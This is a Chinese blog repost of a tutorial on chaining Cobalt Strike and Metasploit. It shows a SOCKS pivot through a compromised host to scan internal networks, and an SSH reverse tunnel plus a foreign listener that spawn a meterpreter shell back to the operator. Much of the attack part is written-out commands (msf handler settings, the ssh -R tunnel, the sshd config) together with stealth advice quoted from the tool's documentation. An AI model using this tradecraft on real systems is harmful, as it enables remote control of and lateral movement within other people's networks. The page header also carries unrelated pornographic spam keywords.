日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

MSF和CS联动

發(fā)布時(shí)間:2024/8/1 76 豆豆
生活随笔 收集整理的這篇文章主要介紹了 MSF和CS联动 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

轉(zhuǎn)載自Snowming04’s Blog

0x01 準(zhǔn)備工作

  • 受害主機(jī):在關(guān)閉 Windows Defender 和其他一切殺軟的前提下,在 Win 10 主機(jī)下進(jìn)行的實(shí)驗(yàn)。
  • MSF:本地 kali
  • Cobalt Strike 團(tuán)隊(duì)服務(wù)器:Ubuntu VPS
  • Cobalt Strike:3.14

團(tuán)隊(duì)服務(wù)器:

客戶(hù)端:

上線過(guò)程:

因?yàn)槲谊P(guān)閉了一切殺軟及 Windows Defender,自不必做免殺。

一些朋友搞不清楚 Windows Executable 和 Windows Executable (s) 的區(qū)別。據(jù)官方文檔說(shuō),Windows Executable 是生成一個(gè) stager,但是 Windows Executable (s) 是 stageless 的,相當(dāng)于直接生成一個(gè) stage。這個(gè)涉及一個(gè)分階段傳送 payload 的概念,不做過(guò)多解釋。我認(rèn)為選 Windows Executable (s) 比較好,因?yàn)?payload stager 因其體積原因,沒(méi)有一些內(nèi)建的安全特性。所以能不分階段就不分階段。

然后就點(diǎn)擊上線。

點(diǎn)擊上線之后,可以做一些基本的配置。如設(shè)置「抖動(dòng)因子」或者啟動(dòng)「交互式模式」。

這兩個(gè)概念官方手冊(cè)有寫(xiě),以下部分摘自 cs 官方文檔,我翻譯了一下:

請(qǐng)注意,Beacon 是一個(gè)異步的 payload。命令不會(huì)立即執(zhí)行。每個(gè)命令都會(huì)先進(jìn)入隊(duì)列。當(dāng) Beacon 連接到你的時(shí)候。它會(huì)下載這些命令并挨個(gè)執(zhí)行它們。此時(shí),Beacon 會(huì)將所有的輸出報(bào)告給你。如果輸入有誤,使用 clear 命令來(lái)清理當(dāng)前 Beacon 的命令隊(duì)列。

默認(rèn)情況下,Beacon 每60秒連接到你一次。你可以使用 Beacon 的 sleep 命令修改這個(gè)時(shí)間設(shè)置。使用 sleep 接著一個(gè)秒數(shù)來(lái)指定 Beacon 連接到你的頻率。你也可以指定第二個(gè)參數(shù),這個(gè)參數(shù)必須是一個(gè)0到99之間的數(shù)字。這個(gè)數(shù)字就是抖動(dòng)因子。Beacon 會(huì)根據(jù)你指定的抖動(dòng)因子的百分比隨機(jī)變化下次連接到你的時(shí)間。比如,sleep 300 20這條命令,會(huì)使得 Beacon 睡眠 300秒,另外有 20% 的抖動(dòng)因子。這意味著 Beacon 在每次連接到你之后會(huì)隨機(jī)睡眠 240 - 300秒。

要使得 Beacon 每秒都多次連接到你,使用 sleep 0 命令。這就是「交互式模式」。這種模式下命令會(huì)立即執(zhí)行。在你的隧道流量通過(guò)它之前你必須使得你的 Beacon 處于交互模式下。一些 Beacon 命令(如 browerpivot、desktop等)會(huì)自動(dòng)的使 Beacon 在下次連接到你時(shí)處于交互式模式下。

在這里我設(shè)置為交互式模式好了:

0x02 通過(guò) beacon 內(nèi)置的 socks 功能將本地 Msf 直接代入目標(biāo)內(nèi)網(wǎng)進(jìn)行操作

準(zhǔn)備工作說(shuō)的有點(diǎn)事無(wú)巨細(xì),相信這些大家也都會(huì)。然后就開(kāi)始做 CS 和 MSF 的聯(lián)動(dòng)。

為什么需要 CS 和 MSF 的聯(lián)動(dòng)呢?主要是兩個(gè)框架的側(cè)重點(diǎn)不一樣,盡管我們有了 Beacon,但是我們有時(shí)候還需要借助 MSF 的 scanner、exploit 這些功能模塊,而 CS 更側(cè)重后滲透、團(tuán)隊(duì)合作一些。

MSF 就是本地 Kali 自帶的 msf5:

首先,到已控目標(biāo)內(nèi)網(wǎng)機(jī)器的 Beacon 下把 socks 起起來(lái):

beacon> getuidbeacon> socks 1080

然后,通過(guò) View → Proxy Pivots,復(fù)制生成的 MSF 代理鏈接。

本地啟動(dòng) MSF,掛著上面生成的代理鏈接,即可直接對(duì)目標(biāo)內(nèi)網(wǎng)進(jìn)行各種探測(cè):

msf > setg Proxies socks4:1xx.1xx.57.70:1080 意思就是讓本地的 msf 走上面 cs 的 socks 代理msf > setg ReverseAllowProxy true 建雙向通道m(xù)sf > use auxiliary/scanner/smb/smb_version 拿著 msf 中的各類(lèi)探測(cè)模塊對(duì)目標(biāo)內(nèi)網(wǎng)進(jìn)行正常探測(cè)即可,比如,識(shí)別目標(biāo)內(nèi)網(wǎng)所有 Windows 機(jī)器的詳細(xì)系統(tǒng)版本,機(jī)器名和所在域msf > set rhosts 192.168.56.0/24 指定 CIDR 格式的目標(biāo)內(nèi)網(wǎng)段,掩碼可根據(jù)實(shí)際情況給的大一點(diǎn),比如,0/20,0/16...msf > set threads 1 線程不宜給的太大,可根據(jù)目標(biāo)實(shí)際情況,控制在10以?xún)?nèi)msf > run

根據(jù)實(shí)際情況增強(qiáng)或削弱掩碼,從縮小或擴(kuò)大掃描的子網(wǎng)范圍。

總之,這種方法是你先有一個(gè) CS Beacon shell,然后通過(guò) socks 代理,把受害主機(jī)的流量代理到本地的 msf,然后本地 msf 就可以進(jìn)行一些內(nèi)網(wǎng)探測(cè)或漏洞利用。

0x03 嘗試借助 CS 的外部 tcp 監(jiān)聽(tīng)器通過(guò) ssh 隧道直接派生一個(gè) meterpreter 的 shell 到本地

鋪墊知識(shí):

鋪墊知識(shí)很長(zhǎng),但只有先了解鋪墊知識(shí),后面的操作才會(huì)更好理解。

1、 CS Foreign Listener
在這里要借助 CS 的 Foreign 監(jiān)聽(tīng)器。如圖是 CS 3.14 的監(jiān)聽(tīng)器截圖(CS 4.0的監(jiān)聽(tīng)器類(lèi)別有了較大改變):

以下內(nèi)容引自 cs 官方文檔,我做了一下翻譯:

其中,Foreign 監(jiān)聽(tīng)器支持與其他軟件的監(jiān)聽(tīng)器進(jìn)行派生(spawn),如 msf 的 multi/handler。

將監(jiān)聽(tīng)器設(shè)置為 foreign 并指定主機(jī)和端口后可以將 Cobalt Strike 的 payload 生成的會(huì)話轉(zhuǎn)移到 msf 中。

2、 CS 通訊模型

首先要明確的一點(diǎn)是,所謂 CS+MSF 的聯(lián)動(dòng),用大白話來(lái)說(shuō)就是流量轉(zhuǎn)發(fā)。

流量轉(zhuǎn)發(fā)是 CS 與 MSF 之間的事情,與受害主機(jī)的 Beacon 無(wú)關(guān)。完全是 CS 服務(wù)器與 MSF 服務(wù)器這二者之間的流量轉(zhuǎn)發(fā)。

因?yàn)?CS 是 C/S 架構(gòu)的,那么就牽扯出一個(gè)問(wèn)題:CS 轉(zhuǎn)發(fā)流量到 MSF(或相反的方向),流量是 MSF 和 CS 客戶(hù)端直連呢?還是走的 CS 的團(tuán)隊(duì)服務(wù)器進(jìn)行轉(zhuǎn)發(fā)呢?

這個(gè)就會(huì)涉及到 CS 的通訊模型:

上圖來(lái)自 Klion 的文章,是我們的客戶(hù)端與團(tuán)隊(duì)服務(wù)器的通訊模型。

以下內(nèi)容來(lái)自 cs 官方手冊(cè),本人做了微小的翻譯工作:

Cobalt Strike 采取措施保護(hù) Beacon 的通信,確保 Beacon 只能接收來(lái)自其團(tuán)隊(duì)服務(wù)器的任務(wù)并且只能將結(jié)果發(fā)送至其團(tuán)隊(duì)服務(wù)器。

首次設(shè)置 Beacon payload 時(shí),Cobalt Strike 會(huì)生成一個(gè)團(tuán)隊(duì)服務(wù)器專(zhuān)有的公鑰/私鑰對(duì)。團(tuán)隊(duì)服務(wù)器的公鑰會(huì)嵌入 Beacon 的 payload stage。Beacon 使用團(tuán)隊(duì)服務(wù)器的公鑰來(lái)加密發(fā)送到團(tuán)隊(duì)服務(wù)器的會(huì)話元數(shù)據(jù)。

Beacon 必須在團(tuán)隊(duì)服務(wù)器可以發(fā)出和接收來(lái)自 Beacon 會(huì)話的輸出之前持續(xù)發(fā)送會(huì)話元數(shù)據(jù)。此元數(shù)據(jù)包含一個(gè)由 Beacon 生成的隨機(jī)會(huì)話秘鑰。團(tuán)隊(duì)服務(wù)器使用每個(gè) Beacon 的會(huì)話秘鑰來(lái)加密任務(wù)并解密輸出。

每個(gè) Beacon 都使用此相同的方案來(lái)實(shí)現(xiàn)數(shù)據(jù)通道。當(dāng)在混合 HTTP 和 DNS Beacon 中使用記錄數(shù)據(jù)通道時(shí),有和使用 HTTPS Beacon 同樣的安全保護(hù)。

請(qǐng)注意,當(dāng) Beacon 分階段時(shí), payload stager 因?yàn)槠潴w積原因,沒(méi)有這些內(nèi)建的安全特性。

監(jiān)聽(tīng)器是 Cobalt Strike 與 bot 之間進(jìn)行通訊的核心模塊。同時(shí)是 payload 的配置信息以及告訴 Cobalt Strike 服務(wù)器以從 payload 收連接指令。其實(shí)是位于 payload 配置上一層的抽象概念。

監(jiān)聽(tīng)器由用戶(hù)定義的名稱(chēng)、payload 類(lèi)型、主機(jī)、端口及其他信息組成,用于定義 payload 的存放位置。

雖然這些話說(shuō)的很抽象,但是總之概括其意思,就是說(shuō):

CS 的通訊模型中,客戶(hù)端不會(huì)直接與 payload 進(jìn)行連接,都是必須經(jīng)過(guò)團(tuán)隊(duì)服務(wù)器的。以團(tuán)隊(duì)服務(wù)器為中介,這是 CS 設(shè)計(jì)的一種的安全機(jī)制。

所以對(duì)于此問(wèn)題:

CS 轉(zhuǎn)發(fā)流量到 MSF(或相反的方向),流量是 MSF 和 CS 客戶(hù)端直連呢?還是走的 CS 的團(tuán)隊(duì)服務(wù)器進(jìn)行轉(zhuǎn)發(fā)呢?

答案應(yīng)該是:CS 與 MSF 之間的流量轉(zhuǎn)發(fā),其實(shí)是 CS 團(tuán)隊(duì)服務(wù)器與 MSF 之間的流量轉(zhuǎn)發(fā)??蛻?hù)端作為第三方只是與 CS 團(tuán)隊(duì)服務(wù)器進(jìn)行交互。

這樣就清楚多了,確定了流量轉(zhuǎn)發(fā)的雙方對(duì)象為:

  • CS 團(tuán)隊(duì)服務(wù)器(后文簡(jiǎn)稱(chēng) TS)
  • MSF 服務(wù)器

那么根據(jù)實(shí)際情況的網(wǎng)絡(luò)環(huán)境就會(huì)有如下這些可能的場(chǎng)景(CS團(tuán)隊(duì)服務(wù)器一般不會(huì)開(kāi)在本地):

  • CS TS 在公網(wǎng)、MSF 在本地
  • CS TS 在公網(wǎng)、MSF 在公網(wǎng)
  • MSF 在公網(wǎng)的情況比 MSF 在本地的情況相對(duì)更好轉(zhuǎn)發(fā)一些。因?yàn)槿绻?MSF 在本地,沒(méi)有公網(wǎng) IP 地址,要想把 CS TS 的流量發(fā)到 MSF,就需要額外的處理。

    3、 Spawn

    下面是 cs 官方手冊(cè)中關(guān)于 spawn 的介紹,我同樣做了一點(diǎn)微小的翻譯工作:

    Cobalt Strike 的 Beacon 最初是一個(gè)穩(wěn)定的生命線,讓你可以保持對(duì)受害主機(jī)的訪問(wèn)權(quán)限。從一開(kāi)始,Beacon 的主要目的就是向其他的 Cobalt Strike 監(jiān)聽(tīng)器傳遞權(quán)限。

    使用 spawn 命令來(lái)為一個(gè)監(jiān)聽(tīng)器派生一個(gè)會(huì)話。此 spawn 命令接受一個(gè)結(jié)構(gòu)(如:x86,x64)和一個(gè)監(jiān)聽(tīng)器作為其參數(shù)。

    默認(rèn)情況下,spawn 命令會(huì)在 rundll32.exe 中派生一個(gè)會(huì)話。管理員通過(guò)查看告警可能會(huì)發(fā)現(xiàn) rundll32.exe 定期與 Internet 建立連接這種異?,F(xiàn)象。為了更好的隱蔽性,你可以找到更合適的程序(如 Internet Explorer) 并使用 spawnto 命令來(lái)說(shuō)明在派生新會(huì)話時(shí)候會(huì)使用 Beacon 中的哪個(gè)程序。

    注:拓展閱讀——DllMain與rundll32詳解,傾旋的博客,傾旋,2019年10月2日

    個(gè)人理解,實(shí)際上就是這種過(guò)程:

    當(dāng)你對(duì)某個(gè) Beacon 選擇了 spawn,就是派生,之后會(huì)讓你選擇一個(gè) Listener:

    Listener 就是位于 payload 配置上一層的抽象概念,也就是告訴 CS 團(tuán)隊(duì)服務(wù)器從 payload 收連接指令的地方,定義了 payload 的存放位置。

    通過(guò)對(duì)某個(gè) Beacon 指定 Listener 進(jìn)行派生,我們生成了新的會(huì)話。這個(gè)意思就是讓受害主機(jī)的 rundll32.exe 這個(gè)程序定期與我們指定在這個(gè) Listener 中的地址、端口進(jìn)行連接,進(jìn)行指令的收發(fā)。

    順便多說(shuō)一句,在 CS 中,將 payload 注入到內(nèi)存中的命令除了 spawn,還有 inject。

    具體操作:

    理解了前面的鋪墊知識(shí),下面的操作就很好理解了。

    第一步: 在本地 MSF上創(chuàng)建監(jiān)聽(tīng)器

    到本地機(jī)器把 msf 起起來(lái),并創(chuàng)建如下監(jiān)聽(tīng)器:

    msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp 注: 此處的協(xié)議格式務(wù)必要和上面 cs 外部監(jiān)聽(tīng)器的協(xié)議對(duì)應(yīng),不然 meter 是無(wú)法正?;剡B的 msf > set lhost 192.168.113.131 注:這里填本地 MSF 服務(wù)器的 IP 地址msf > set lport 8080 msf > exploit

    這樣就在本地 MSF 上創(chuàng)建了一個(gè)監(jiān)聽(tīng)器。

    第二步:給本地 MSF 一個(gè)公網(wǎng)地址

    這里通過(guò) SSH 隧道轉(zhuǎn)發(fā):

    在一臺(tái)公網(wǎng) VPS 上編輯 sshd 配置,開(kāi)啟 ssh 轉(zhuǎn)發(fā)功能,重啟 ssh 服務(wù),這是所有使用 ssh 隧道轉(zhuǎn)發(fā)前的必備操作:

    # vi /etc/ssh/sshd_config AllowTcpForwarding yes GatewayPorts yes TCPKeepAlive yes PasswordAuthentication yes # systemctl restart sshd.service

    再次回到自己本地的 Kali 中并通過(guò) ssh 隧道做好如下轉(zhuǎn)發(fā):

    # ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 root@x.x.57.70 -p 27035

    上面命令的意思就:
    \1. 通過(guò) x.x.57.70 這臺(tái)機(jī)器把來(lái)自外部的 8080 端口流量全部轉(zhuǎn)到我本地 192.168.113.131 的 8080 端口上;
    \2. 而本地 192.168.113.131 的 8080 端口上跑的又正好是 meterpreter 的監(jiān)聽(tīng)器;
    \3. 所以,最終才會(huì)造成 meterpreter 本地上線的效果。

    隧道建立之后,習(xí)慣性的到 vps 上去看一眼,剛才通過(guò)隧道監(jiān)聽(tīng)的 8080 端口到底有沒(méi)有起來(lái),確實(shí)起起來(lái)了才說(shuō)明隧道才是通的。另外,監(jiān)聽(tīng)的端口不能和 vps 機(jī)器上的現(xiàn)有端口沖突,否則隧道是建不成功的。

    # netstat -tulnp | grep '8080'

    如圖就是建立成功了。

    第三步: 在 CS 上創(chuàng)建外部監(jiān)聽(tīng)器

    在 cs 上創(chuàng)建一個(gè) tcp 的 foreign listener,回連端口設(shè)為 8080:

    TCP 就可以,如果是 HTTP 或 HTTPS,最好用域名而不是 IP。

    這里的 MSF 的公網(wǎng)地址,就是第二步中通過(guò) SSH 隧道轉(zhuǎn)發(fā)到的 VPS 的公網(wǎng)地址。

    之所以要生成這個(gè)外部監(jiān)聽(tīng)器,是因?yàn)楹竺嫖覀円褂?spawn 命令,把會(huì)話轉(zhuǎn)移到 MSF 的服務(wù)器上。listener 是 spawn 命令的參數(shù)。

    如果我們的 MSF 是跑在公網(wǎng)服務(wù)器上的話,就可以省去第二步中 SSH 隧道從公網(wǎng) VPS 轉(zhuǎn)發(fā)流量到本地的那步操作。

    注:我看到在一些文章中,還會(huì)加一個(gè)監(jiān)聽(tīng)器,用于監(jiān)聽(tīng)團(tuán)隊(duì)服務(wù)器。可能是因?yàn)橐詾橹荒苡幸粋€(gè)會(huì)話,但是經(jīng)本人測(cè)試,會(huì)話 spawn 到 msf 上之后,本地 CS 客戶(hù)端依然可以操作。所以就不必多開(kāi)一個(gè)對(duì) CS TS 的監(jiān)聽(tīng)器了。

    第四步:spawn

    派生會(huì)話的操作很簡(jiǎn)單:

    對(duì) Beacon 選擇 spawn 選項(xiàng)(或在 Beacon shell 命令行里面輸入 spawn):

    為其選擇 MSF 的 listener 作為參數(shù):

    回到本地 MSF,就會(huì)發(fā)現(xiàn)相應(yīng)目標(biāo)機(jī)器的 meterpreter 已經(jīng)被直接彈回到了本地:

    總之,我們完成了這樣一個(gè)操作,從而實(shí)現(xiàn)了從 CS Beacon 到本地 MSF meterpreter 的派生:

    總結(jié)

    以上是生活随笔為你收集整理的MSF和CS联动的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。